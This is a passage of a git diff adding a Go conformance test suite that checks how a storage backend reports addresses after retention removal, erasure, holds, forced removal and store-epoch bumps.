b.Message) && + a.At.Equal(b.At) +} + +func samePtrString(a, b *string) bool { + if a == nil || b == nil { + return a == b + } + return *a == *b +} diff --git a/backend/conformance/retention_epoch_contract.go b/backend/conformance/retention_epoch_contract.go new file mode 100644 index 000000000..472b7a896 --- /dev/null +++ b/backend/conformance/retention_epoch_contract.go @@ -0,0 +1,986 @@ +package conformance + +import ( + "context" + "errors" + "fmt" + "testing" + "time" +) + +// This file holds the contract for R20 (gastownhall/beads#6133, be-hs42e.1 +// §5-§9): what a store reports about an Address once retention, erasure, or +// reorganization has stopped it resolving to live state (R20-a..R20-l), and +// the store-epoch generation counter that selectively voids addresses minted +// under an earlier one (R20-m/n). +// +// RESTRICTION AND RETAINEDWINDOW ARE DECLARED IN expected_revision_contract.go +// — see that file's package-level note on where this suite's shared +// vocabulary lives and why. +// +// GONE AND UNKNOWN ARE NEVER CONFLATED (FR-05, FR-06): Gone means the store +// once held this Version and no longer does; Unknown means the store has no +// lineage knowledge of the Address at all. Every RetentionAnswer names its +// PRODUCING STORE (R20-i) so a case can catch a backend that silently +// answers for the wrong store — this matters because R20 is explicitly a +// per-store promise, not a global one: a Reorganization can leave one store +// still serving an Address that another has moved past. +// +// THIS FILE ORIGINALLY MADE THREE §4a CHOICES THE ARCHITECTURE DOC DOES NOT +// PIN. Two have since DIED — retired by fixes made within this same PR, +// before merge, in response to review. Kept here, marked DIED, so a reader +// tracing why RetentionAnswer/RetentionFixture look the way they do does not +// have to reconstruct the history from git log or PR comments: +// +// 1. Remove/Commit's refusal under an active Hold is a typed error, +// ErrRetentionHeld, rather than a non-accepted-shaped RetentionAnswer — +// the doc names the promise ("must refuse ... unless forced", R20-h) but +// not its shape. An error was chosen because Commit's success path +// already returns a RetentionAnswer describing a Version that is now +// GONE; reusing that same shape for a refusal would make "the hold +// worked" and "the removal happened" look like the same kind of value. +// (R17's Refusal reasons about the same tradeoff the other way, because +// R17 already had a typed non-error outcome shape to reuse — Remove has +// no such sibling shape to reuse here.) STILL STANDS. +// 2. DIED. ForceRemove's attribution used to be asserted only for shape, +// not content, because RetentionAnswer carried no attribution field. +// RetentionAnswer.Attribution now carries it, and +// RunForcingAHeldRemovalRecordsWhoWhenWhy asserts real content — see +// that function's own doc comment. +// 3. DIED. An address that no operation had touched used to resolve +// RestrictionLive BY DEFAULT, purely by naming convention — a fabricated +// Address, from the retired retentionAddress helper, that no store had +// ever actually minted. Every case that needs a real, live Address now +// mints one for real via RetentionFixture.Mint (see retentionMint). +// RestrictionUnknown for a foreign store (FR-06) is UNCHANGED by this: +// RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone and +// RunGoneIsDistinguishableFromUnknown still test the Unknown case via a +// second, foreign storeID that genuinely never saw the Address — not via +// an untouched-but-fabricated address on the primary one, which is the +// part that died. retentionAddress itself survives as the one helper +// RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone still uses, +// precisely because Unknown requires an Address no store ever minted. +// +// EVERY HOOK ON BOTH FIXTURES BELOW IS INDEPENDENTLY NILABLE — see the +// package-level note in expected_revision_contract.go. Every case +// nil-checks every hook it uses and SKIPS BY NAME when one is missing. + +// RetentionAnswer is what a store reports when asked about an Address. +type RetentionAnswer struct { + Restriction Restriction + // RetainedWindow is populated once some Addresses within the lineage + // have gone, naming the surviving range (R20-c) — AND, independently, + // whenever a Hold is protecting an Address from removal, naming that + // Address within the range it protects (R20-h). Nil means neither + // applies (e.g. Restriction is Live with no Hold in effect, or + // Unknown). + RetainedWindow *RetainedWindow + // ProducingStore names the store that produced this answer (R20-i). + ProducingStore string + // Attribution records who, when, and why produced this answer, for the + // operations that force their way past an ordinary refusal — currently + // just ForceRemove (R20-h2). Nil means this answer did not come from an + // attributed forcing operation (e.g. an ordinary Remove/Commit, or a + // Live/Unknown answer never touched by one). + Attribution *ChangeAttribution + // Epoch names the store-epoch generation this answer was evaluated + // under, so a caller can tell WHICH epoch a GoneReorganization answer + // belongs to, not just that reorganization is why the Address is gone + // (R20-n). Nil means this answer did not involve epoch reasoning (e.g. + // an ordinary Remove/Commit under R20-a..R20-l, evaluated by a store + // with no epoch concept at all). + Epoch *int +} + +// RemovalReason is why an Address was removed: R20 requires the three +// reasons stay pairwise distinguishable in the Restriction they produce. +type RemovalReason int + +const ( + RemovalReasonRetention RemovalReason = iota + RemovalReasonErasure + RemovalReasonReorganization +) + +func (r RemovalReason) String() string { + switch r { + case RemovalReasonRetention: + return "retention" + case RemovalReasonErasure: + return "erasure" + case RemovalReasonReorganization: + return "reorganization" + default: + return fmt.Sprintf("RemovalReason(%d)", int(r)) + } +} + +// RemovalPreview is Remove's enumerate-before-you-change half (R20-g): the +// Addresses about to be affected are reported before Commit makes the +// change real. +type RemovalPreview struct { + AffectedAddresses []Address + Commit func(ctx context.Context) (RetentionAnswer, error) +} + +// ErrRetentionHeld means a RemovalPreview's Commit was refused because an +// active Hold covers the Address (R20-h). See this file's package doc +// comment, §4a choice 1, for why this is a typed error rather than a +// non-accepted-shaped RetentionAnswer. +var ErrRetentionHeld = errors.New("retention: address is held") + +// RetentionResolve answers what a store currently reports for address. It is +// shared verbatim between RetentionFixture and EpochFixture: an epoch bump's +// effect on an Address (R20-n) is observed through the exact same read path +// as an ordinary removal's effect (R20-a..R20-l). +type RetentionResolve func(ctx context.Context, storeID string, address Address) (RetentionAnswer, error) + +// RetentionFixture supplies the capabilities under test for R20's removal, +// hold, forced-removal, and erasure semantics. +type RetentionFixture struct { + IssuePrefix string + + // Resolve reports storeID's current answer for address. A nil hook + // means this backend does not yet report retention state, and cases + // that need one skip with that reason. + Resolve RetentionResolve + + // Remove reports the Addresses a removal is about to affect + // (RemovalPreview.AffectedAddresses) before Commit makes the change + // real (R20-g). A nil hook means this backend has no removal primitive, + // and cases that need one skip with that reason. + Remove func(ctx context.Context, storeID string, address Address, reason RemovalReason) (RemovalPreview, error) + + // Hold prevents Remove/Commit from taking effect against address until + // released (R20-h). A nil hook means this backend has no hold + // primitive, and cases that need one skip with that reason. + Hold func(ctx context.Context, storeID string, address Address) error + + // ForceRemove removes address despite an active Hold, recording who, + // when, and why in the resulting Gone record (R20-h2). A nil hook means + // this backend has no forced-removal primitive, and the cases that need + // one skip with that reason. + ForceRemove func(ctx context.Context, storeID string, address Address, attribution ChangeAttribution, reason string) (RetentionAnswer, error) + + // Erase mints a corrected replacement Version for address rather than + // editing it in place (R20-l), returning the corrected Address. A nil + // hook means this backend has no erasure primitive, and the case that + // needs it skips with that reason. + Erase func(ctx context.Context, storeID string, address Address, correctedState string, attribution ChangeAttribution) (Address, error) + + // Mint mints a fresh Version for id under storeID, returning its + // Address — analogous to EpochFixture.MintUnderEpoch, without an epoch + // to peg it to. A nil hook means this backend has no way to mint a + // real, resolvable Address to test retention against, and cases that + // need one skip with that reason. Replaces the retired convention that + // a fabricated, never-minted Address defaults to RestrictionLive (see + // this file's package doc comment, formerly §4a choice 3). + Mint func(ctx context.Context, storeID, id string) (Address, error) +} + +// RunRemovalLeavesTheAddressAbleToAnswer pins R20-a/b: after a committed +// removal, the Address can still be resolved — it must answer, just not +// live. +func RunRemovalLeavesTheAddressAbleToAnswer(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "answerable") + address := retentionMint(t, ctx, fixture, store, "answerable") + + preview, err := fixture.Remove(ctx, store, address, RemovalReasonRetention) + if err != nil { + t.Fatalf("Remove(%s, %s): %v", store, address, err) + } + if _, err := preview.Commit(ctx); err != nil { + t.Fatalf("Commit removing %s: %v", address, err) + } + + answer, err := fixture.Resolve(ctx, store, address) + if err != nil { + t.Fatalf("Resolve(%s, %s) after removal: %v", store, address, err) + } + if answer.Restriction == RestrictionLive { + t.Fatalf("Resolve(%s) after Remove+Commit reports RestrictionLive, want a non-live Restriction: removal must leave the address able to answer, just not live", address) + } +} + +// RunRemovalReasonIsRetentionErasureOrReorganizationDistinctly pins R20-d: +// the three RemovalReasons produce pairwise-distinct Restrictions, so a +// caller can tell which kind of removal it is looking at from the answer +// alone. +func RunRemovalReasonIsRetentionErasureOrReorganizationDistinctly(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "reasons") + cases := []struct { + reason RemovalReason + want Restriction + }{ + {RemovalReasonRetention, RestrictionGoneRetention}, + {RemovalReasonErasure, RestrictionGoneErasure}, + {RemovalReasonReorganization, RestrictionGoneReorganization}, + } + seen := map[Restriction]bool{} + for _, c := range cases { + address := retentionMint(t, ctx, fixture, store, "reason-"+c.reason.String()) + preview, err := fixture.Remove(ctx, store, address, c.reason) + if err != nil { + t.Fatalf("Remove(%s, reason=%s): %v", address, c.reason, err) + } + if _, err := preview.Commit(ctx); err != nil { + t.Fatalf("Commit(%s, reason=%s): %v", address, c.reason, err) + } + answer, err := fixture.Resolve(ctx, store, address) + if err != nil { + t.Fatalf("Resolve(%s) after Remove(reason=%s): %v", address, c.reason, err) + } + if answer.Restriction != c.want { + t.Errorf("Remove(reason=%s) then Resolve = %s, want %s", c.reason, answer.Restriction, c.want) + } + if seen[answer.Restriction] { + t.Errorf("Restriction %s was already reported for a different RemovalReason; the three reasons must map to pairwise-distinct Restrictions", answer.Restriction) + } + seen[answer.Restriction] = true + } +} + +// RunRemovalReportsTheSurvivingRetainedWindow pins R20-c: a removal's answer +// carries a populated RetainedWindow naming the surviving range. +func RunRemovalReportsTheSurvivingRetainedWindow(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "window") + address := retentionMint(t, ctx, fixture, store, "window") + + preview, err := fixture.Remove(ctx, store, address, RemovalReasonRetention) + if err != nil { + t.Fatalf("Remove(%s): %v", address, err) + } + answer, err := preview.Commit(ctx) + if err != nil { + t.Fatalf("Commit(%s): %v", address, err) + } + if answer.RetainedWindow == nil { + t.Fatal("RetainedWindow = nil after a removal, want a populated window (R20-c)") + } + if answer.RetainedWindow.LowerBound == "" || answer.RetainedWindow.UpperBound == "" { + t.Errorf("RetainedWindow = %+v, want both bounds non-empty", answer.RetainedWindow) + } +} + +// RunRemovalNeverReassignsASurvivingAddress pins R20-f: removing one Address +// must never alter or reassign a different, surviving Address's own answer. +func RunRemovalNeverReassignsASurvivingAddress(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "survivor") + removed := retentionMint(t, ctx, fixture, store, "survivor-removed") + survivor := retentionMint(t, ctx, fixture, store, "survivor-kept") + + before, err := fixture.Resolve(ctx, store, survivor) + if err != nil { + t.Fatalf("Resolve(survivor) before removing its neighbor: %v", err) + } + + preview, err := fixture.Remove(ctx, store, removed, RemovalReasonRetention) + if err != nil { + t.Fatalf("Remove(%s): %v", removed, err) + } + if _, err := preview.Commit(ctx); err != nil { + t.Fatalf("Commit(%s): %v", removed, err) + } + + after, err := fixture.Resolve(ctx, store, survivor) + if err != nil { + t.Fatalf("Resolve(survivor) after removing its neighbor: %v", err) + } + if !sameRetentionAnswer(before, after) { + t.Errorf("removing a neighbor changed the survivor's own answer from %+v to %+v; removing one Address must never reassign or alter another", before, after) + } +} + +// RunGoneIsDistinguishableFromUnknown pins FR-05's core claim: the SAME +// Address, asked of the store that removed it versus a store that never +// held it, must not resolve identically — Gone (once held, now removed) and +// Unknown (no lineage knowledge at all) are never conflated. +func RunGoneIsDistinguishableFromUnknown(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "gonevunknown") + strangerStore := retentionStore(fixture, "gonevunknown-stranger") + gone := retentionMint(t, ctx, fixture, store, "gonevunknown-gone") + + preview, err := fixture.Remove(ctx, store, gone, RemovalReasonRetention) + if err != nil { + t.Fatalf("Remove(%s): %v", gone, err) + } + if _, err := preview.Commit(ctx); err != nil { + t.Fatalf("Commit(%s): %v", gone, err) + } + + goneAnswer, err := fixture.Resolve(ctx, store, gone) + if err != nil { + t.Fatalf("Resolve(gone, its own store): %v", err) + } + unknownAnswer, err := fixture.Resolve(ctx, strangerStore, gone) + if err != nil { + t.Fatalf("Resolve(gone's address, a store that never held it): %v", err) + } + if goneAnswer.Restriction == RestrictionLive || unknownAnswer.Restriction == RestrictionLive { + t.Fatalf("Live leaked into a Gone/Unknown comparison: gone=%s unknown=%s", goneAnswer.Restriction, unknownAnswer.Restriction) + } + if goneAnswer.Restriction == unknownAnswer.Restriction { + t.Errorf("the SAME Address resolved identically (%s) whether asked of the store that removed it or a store that never held it; FR-05 requires Gone and Unknown stay distinct", goneAnswer.Restriction) + } +} + +// RunAnAddressNeverResolvesToADifferentState guards against a mixed-up +// lookup key: two distinct Addresses on the same store, deliberately left +// in different Restrictions, must never have their answers cross- +// contaminate. +func RunAnAddressNeverResolvesToADifferentState(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "nomixup") + removedAddr := retentionMint(t, ctx, fixture, store, "nomixup-removed") + liveAddr := retentionMint(t, ctx, fixture, store, "nomixup-live") + + preview, err := fixture.Remove(ctx, store, removedAddr, RemovalReasonRetention) + if err != nil { + t.Fatalf("Remove(%s): %v", removedAddr, err) + } + if _, err := preview.Commit(ctx); err != nil { + t.Fatalf("Commit(%s): %v", removedAddr, err) + } + + removedAnswer, err := fixture.Resolve(ctx, store, removedAddr) + if err != nil { + t.Fatalf("Resolve(removed): %v", err) + } + liveAnswer, err := fixture.Resolve(ctx, store, liveAddr) + if err != nil { + t.Fatalf("Resolve(live): %v", err) + } + + if liveAnswer.Restriction != RestrictionLive { + t.Fatalf("Resolve(an address nothing ever removed) = %s, want RestrictionLive", liveAnswer.Restriction) + } + if removedAnswer.Restriction == RestrictionLive { + t.Fatal("Resolve(a removed address) = RestrictionLive, want a Gone restriction") + } + if sameRetentionAnswer(removedAnswer, liveAnswer) { + t.Errorf("Resolve(%s) and Resolve(%s) returned identical answers %+v; a mixed-up lookup key would look exactly like this", removedAddr, liveAddr, removedAnswer) + } +} + +// RunADestructiveOperationEnumeratesAffectedAddressesFirst pins R20-g: +// Remove reports the Addresses it is about to affect BEFORE anything +// changes. Checked by confirming that obtaining the preview alone — without +// calling Commit — leaves the address's own answer untouched, regardless of +// what that answer is. +func RunADestructiveOperationEnumeratesAffectedAddressesFirst(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "enumeratefirst") + address := retentionMint(t, ctx, fixture, store, "enumeratefirst") + + before, err := fixture.Resolve(ctx, store, address) + if err != nil { + t.Fatalf("Resolve before Remove: %v", err) + } + + preview, err := fixture.Remove(ctx, store, address, RemovalReasonRetention) + if err != nil { + t.Fatalf("Remove(%s): %v", address, err) + } + if len(preview.AffectedAddresses) == 0 { + t.Fatal("RemovalPreview.AffectedAddresses is empty, want the addresses this removal is about to affect (R20-g)") + } + + // Commit is deliberately NOT called yet. + after, err := fixture.Resolve(ctx, store, address) + if err != nil { + t.Fatalf("Resolve after Remove but before Commit: %v", err) + } + if !sameRetentionAnswer(before, after) { + t.Errorf("Resolve changed from %+v to %+v after Remove but before Commit; enumeration must precede the change, not cause it", before, after) + } +} + +// RunAHoldPreventsRemovalAndReportsInRetainedBounds pins R20-h: an active +// Hold makes Remove/Commit refuse, AND the held Address must show up +// positively in the reported RetainedWindow bounds — not merely be inferred +// from the absence of a Gone restriction. +// +// §4a choice 1 (see this file's package doc comment): Commit's refusal is +// the typed ErrRetentionHeld rather than a non-accepted-shaped +// RetentionAnswer. +func RunAHoldPreventsRemovalAndReportsInRetainedBounds(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Hold == nil { + t.Skip("this backend has no hold primitive (Hold is nil)") + } + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "held") + address := retentionMint(t, ctx, fixture, store, "held") + + if err := fixture.Hold(ctx, store, address); err != nil { + t.Fatalf("Hold(%s): %v", address, err) + } + + preview, err := fixture.Remove(ctx, store, address, RemovalReasonRetention) + if err != nil { + t.Fatalf("Remove(%s) under a hold: %v", address, err) + } + if _, err := preview.Commit(ctx); !errors.Is(err, ErrRetentionHeld) { + t.Fatalf("Commit(%s) under a hold error = %v, want ErrRetentionHeld", address, err) + } + + answer, err := fixture.Resolve(ctx, store, address) + if err != nil { + t.Fatalf("Resolve(%s) after a refused, held removal: %v", address, err) + } + if answer.Restriction == RestrictionGoneRetention || answer.Restriction == RestrictionGoneErasure || answer.Restriction == RestrictionGoneReorganization { + t.Errorf("Resolve(%s) reports %s after Commit was refused for being held, want it to remain out of any Gone restriction", address, answer.Restriction) + } + if answer.RetainedWindow == nil { + t.Fatalf("Resolve(%s) after a refused, held removal reports RetainedWindow = nil, want a populated window: R20-h's promise is that a Hold shows up IN the retained bounds, not merely as an absence of a Gone restriction", address) + } + if answer.RetainedWindow.LowerBound != address && answer.RetainedWindow.UpperBound != address { + t.Errorf("Resolve(%s).RetainedWindow = %+v, want at least one bound naming the held Address itself: R20-h's promise is that a Hold shows up IN the retained bounds, but this fixture's store name is not guaranteed fresh across runs on a persistent backend, so a prior run's Addresses may widen the window and only one edge is guaranteed to be exactly this Address", address, answer.RetainedWindow) + } +} + +// RunForcingAHeldRemovalRecordsWhoWhenWhy pins R20-h2: ForceRemove crosses an +// active Hold and must record who, when, and why — read back via +// RetentionAnswer.Attribution, not just accepted as parameters (formerly +// §4a choice 2, now DIED; see this file's package doc comment). +func RunForcingAHeldRemovalRecordsWhoWhenWhy(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Hold == nil { + t.Skip("this backend has no hold primitive (Hold is nil)") + } + if fixture.ForceRemove == nil { + t.Skip("this backend has no forced-removal primitive (ForceRemove is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "forced") + address := retentionMint(t, ctx, fixture, store, "forced") + + if err := fixture.Hold(ctx, store, address); err != nil { + t.Fatalf("Hold(%s): %v", address, err) + } + + actor := "retention-operator" + message := "legal hold expired" + attribution := ChangeAttribution{Actor: &actor, Message: &message, At: time.Now().UTC()} + + answer, err := fixture.ForceRemove(ctx, store, address, attribution, "hold-expired") + if err != nil { + t.Fatalf("ForceRemove(%s) despite an active hold: %v", address, err) + } + if answer.Restriction == RestrictionLive { + t.Errorf("ForceRemove(%s) reports RestrictionLive, want a Gone restriction", address) + } + if answer.ProducingStore != store { + t.Errorf("ForceRemove(%s).ProducingStore = %q, want %q", address, answer.ProducingStore, store) + } + if answer.Attribution == nil { + t.Fatalf("ForceRemove(%s).Attribution = nil, want the who/when/why recorded for this forced removal (R20-h2)", address) + } + if !sameAttribution(*answer.Attribution, attribution) { + t.Errorf("ForceRemove(%s).Attribution = %+v, want %+v (R20-h2: who/when/why must be recorded, not just accepted as parameters)", address, *answer.Attribution, attribution) + } +} + +// RunEveryRetentionAnswerNamesItsProducingStore pins R20-i for both a live +// and a non-live answer: ProducingStore always names the store that +// actually produced the answer. +func RunEveryRetentionAnswerNamesItsProducingStore(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + storeA := retentionStore(fixture, "namesA") + storeB := retentionStore(fixture, "namesB") + liveAddr := retentionMint(t, ctx, fixture, storeA, "names-live") + goneAddr := retentionMint(t, ctx, fixture, storeB, "names-gone") + + preview, err := fixture.Remove(ctx, storeB, goneAddr, RemovalReasonRetention) + if err != nil { + t.Fatalf("Remove(%s): %v", goneAddr, err) + } + if _, err := preview.Commit(ctx); err != nil { + t.Fatalf("Commit(%s): %v", goneAddr, err) + } + + liveAnswer, err := fixture.Resolve(ctx, storeA, liveAddr) + if err != nil { + t.Fatalf("Resolve(%s, %s): %v", storeA, liveAddr, err) + } + if liveAnswer.ProducingStore != storeA { + t.Errorf("Resolve(%s, ...).ProducingStore = %q, want %q (R20-i: live answer)", storeA, liveAnswer.ProducingStore, storeA) + } + + goneAnswer, err := fixture.Resolve(ctx, storeB, goneAddr) + if err != nil { + t.Fatalf("Resolve(%s, %s): %v", storeB, goneAddr, err) + } + if goneAnswer.ProducingStore != storeB { + t.Errorf("Resolve(%s, ...).ProducingStore = %q, want %q (R20-i: non-live answer)", storeB, goneAnswer.ProducingStore, storeB) + } +} + +// RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone pins FR-06: a store +// asked about a store/Address pair it has no lineage relationship with at +// all — never received it, never removed it — must answer Unknown, not one +// of the Gone restrictions. +func RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + store := retentionStore(fixture, "nolineage") + address := retentionAddress(fixture, "nolineage-nevertracked") + + answer, err := fixture.Resolve(ctx, store, address) + if err != nil { + t.Fatalf("Resolve(%s, %s): %v", store, address, err) + } + if answer.Restriction != RestrictionUnknown { + t.Errorf("Resolve on a store/address pair with no lineage relationship = %s, want RestrictionUnknown (FR-06)", answer.Restriction) + } +} + +// RunAStoreThatRemovesStateStillAnswersGoneDurably pins R20-j: a removed +// Address's Gone answer is durable — two successive reads must agree, not +// merely happen to agree once. +func RunAStoreThatRemovesStateStillAnswersGoneDurably(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Remove == nil { + t.Skip("this backend has no removal primitive (Remove is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "durable") + address := retentionMint(t, ctx, fixture, store, "durable") + + preview, err := fixture.Remove(ctx, store, address, RemovalReasonErasure) + if err != nil { + t.Fatalf("Remove(%s): %v", address, err) + } + if _, err := preview.Commit(ctx); err != nil { + t.Fatalf("Commit(%s): %v", address, err) + } + + first, err := fixture.Resolve(ctx, store, address) + if err != nil { + t.Fatalf("Resolve(%s), first read: %v", address, err) + } + second, err := fixture.Resolve(ctx, store, address) + if err != nil { + t.Fatalf("Resolve(%s), second read: %v", address, err) + } + if first.Restriction == RestrictionLive { + t.Fatalf("Resolve(%s) after removal = RestrictionLive, want a Gone restriction", address) + } + if !sameRetentionAnswer(first, second) { + t.Errorf("two successive Resolve(%s) calls disagreed: %+v vs %+v; a removal must answer Gone DURABLY, not from a cache that can revert", address, first, second) + } +} + +// RunErasureMintsACorrectedVersionRatherThanEditingInPlace pins R20-l: Erase +// returns a NEW Address for the corrected state rather than editing the +// original in place — the original resolves GoneErasure, the corrected +// replacement resolves Live. +func RunErasureMintsACorrectedVersionRatherThanEditingInPlace(t *testing.T, ctx context.Context, fixture RetentionFixture) { + t.Helper() + if fixture.Erase == nil { + t.Skip("this backend has no erasure primitive (Erase is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.Mint == nil { + t.Skip("this backend has no way to mint a real Address to test retention against (Mint is nil)") + } + store := retentionStore(fixture, "erasure") + original := retentionMint(t, ctx, fixture, store, "erasure-original") + actor := "retention-operator" + attribution := ChangeAttribution{Actor: &actor, At: time.Now().UTC()} + + corrected, err := fixture.Erase(ctx, store, original, `{"corrected":true}`, attribution) + if err != nil { + t.Fatalf("Erase(%s): %v", original, err) + } + if corrected == original { + t.Fatalf("Erase(%s) returned the SAME Address, want a NEW one (R20-l: erasure mints a corrected version rather than editing in place)", original) + } + + originalAnswer, err := fixture.Resolve(ctx, store, original) + if err != nil { + t.Fatalf("Resolve(original): %v", err) + } + if originalAnswer.Restriction != RestrictionGoneErasure { + t.Errorf("Resolve(the erased original) = %s, want RestrictionGoneErasure", originalAnswer.Restriction) + } + + correctedAnswer, err := fixture.Resolve(ctx, store, corrected) + if err != nil { + t.Fatalf("Resolve(corrected): %v", err) + } + if correctedAnswer.Restriction != RestrictionLive { + t.Errorf("Resolve(the corrected replacement) = %s, want RestrictionLive", correctedAnswer.Restriction) + } +} + +// EpochBumpTrigger enumerates the only three events R20-m allows to advance +// a store's epoch. +type EpochBumpTrigger int + +const ( + EpochBumpTriggerRestore EpochBumpTrigger = iota + EpochBumpTriggerDestructiveReinit + EpochBumpTriggerTokenSchemeChange +) + +func (tr EpochBumpTrigger) String() string { + switch tr { + case EpochBumpTriggerRestore: + return "restore" + case EpochBumpTriggerDestructiveReinit: + return "destructive-reinit" + case EpochBumpTriggerTokenSchemeChange: + return "token-scheme-change" + default: + return fmt.Sprintf("EpochBumpTrigger(%d)", int(tr)) + } +} + +// EpochFixture supplies the capabilities under test for R20-m/n: the +// store-epoch generation counter and its selective effect on addresses +// minted under an earlier epoch. +type EpochFixture struct { + IssuePrefix string + + // CurrentEpoch reports storeID's current epoch generation. A nil hook + // means this backend has no epoch concept yet, and cases that need one + // skip with that reason. + CurrentEpoch func(ctx context.Context, storeID string) (int, error) + + // BumpEpoch advances storeID's epoch for the given trigger, returning + // the new epoch. A nil hook means this backend has no epoch concept + // yet, and cases that need one skip with that reason. + BumpEpoch func(ctx context.Context, storeID string, trigger EpochBumpTrigger) (int, error) + + // MintUnderEpoch mints a fresh Version for id under storeID's current + // epoch, returning its Address. A nil hook means this backend has no + // way to mint a Version under a known epoch, and cases that need one + // skip with that reason. + MintUnderEpoch func(ctx context.Context, storeID, id string) (Address, error) + + // StillServes reports whether storeID still serves the Version named by + // a prior-epoch address, despite the epoch having moved on. A nil hook + // means this backend cannot report that, and the case that needs it + // skips with that reason. + StillServes func(ctx context.Context, storeID string, address Address) (bool, error) + + // Resolve is the SAME RetentionResolve type RetentionFixture uses — an + // epoch bump's effect on an Address is observed through the identical + // read path as an ordinary removal. A nil hook means this backend does + // not yet report retention state, and cases that need one skip with + // that reason. + Resolve RetentionResolve + + // CurrentAddressFor reports the Address a still-served, prior-epoch + // Version now resolves to under the new epoch. A nil hook means this + // backend cannot report that, and the case that needs it skips with + // that reason. + CurrentAddressFor func(ctx context.Context, storeID string, oldAddress Address) (Address, error) +} + +// RunAnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange pins R20-m: a +// store's epoch advances for exactly the three named triggers. +// +// THIS CASE CANNOT PROVE A FOURTH, UNINVITED TRIGGER NEVER BUMPS THE EPOCH +// in some real backend — enumerating "never" over an open set of possible +// call sites is not something an interface-level test can do. That is +// Phase 3's implementation discipline to hold, not something this suite can +// enforce (NFR-03's blind spot, mirroring canonicalizeForContract's stated +// blind spot in metadata_cas_contract.go). +func RunAnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange(t *testing.T, ctx context.Context, fixture EpochFixture) { + t.Helper() + if fixture.BumpEpoch == nil { + t.Skip("this backend has no epoch concept yet (BumpEpoch is nil)") + } + if fixture.CurrentEpoch == nil { + t.Skip("this backend cannot report its current epoch (CurrentEpoch is nil)") + } + store := epochStore(fixture, "triggers") + + for _, trigger := range []EpochBumpTrigger{ + EpochBumpTriggerRestore, + EpochBumpTriggerDestructiveReinit, + EpochBumpTriggerTokenSchemeChange, + } { + before, err := fixture.CurrentEpoch(ctx, store) + if err != nil { + t.Fatalf("CurrentEpoch before %s: %v", trigger, err) + } + after, err := fixture.BumpEpoch(ctx, store, trigger) + if err != nil { + t.Fatalf("BumpEpoch(%s): %v", trigger, err) + } + if after <= before { + t.Errorf("BumpEpoch(%s) = %d, want an epoch greater than the pre-bump value %d", trigger, after, before) + } + observed, err := fixture.CurrentEpoch(ctx, store) + if err != nil { + t.Fatalf("CurrentEpoch after %s: %v", trigger, err) + } + if observed != after { + 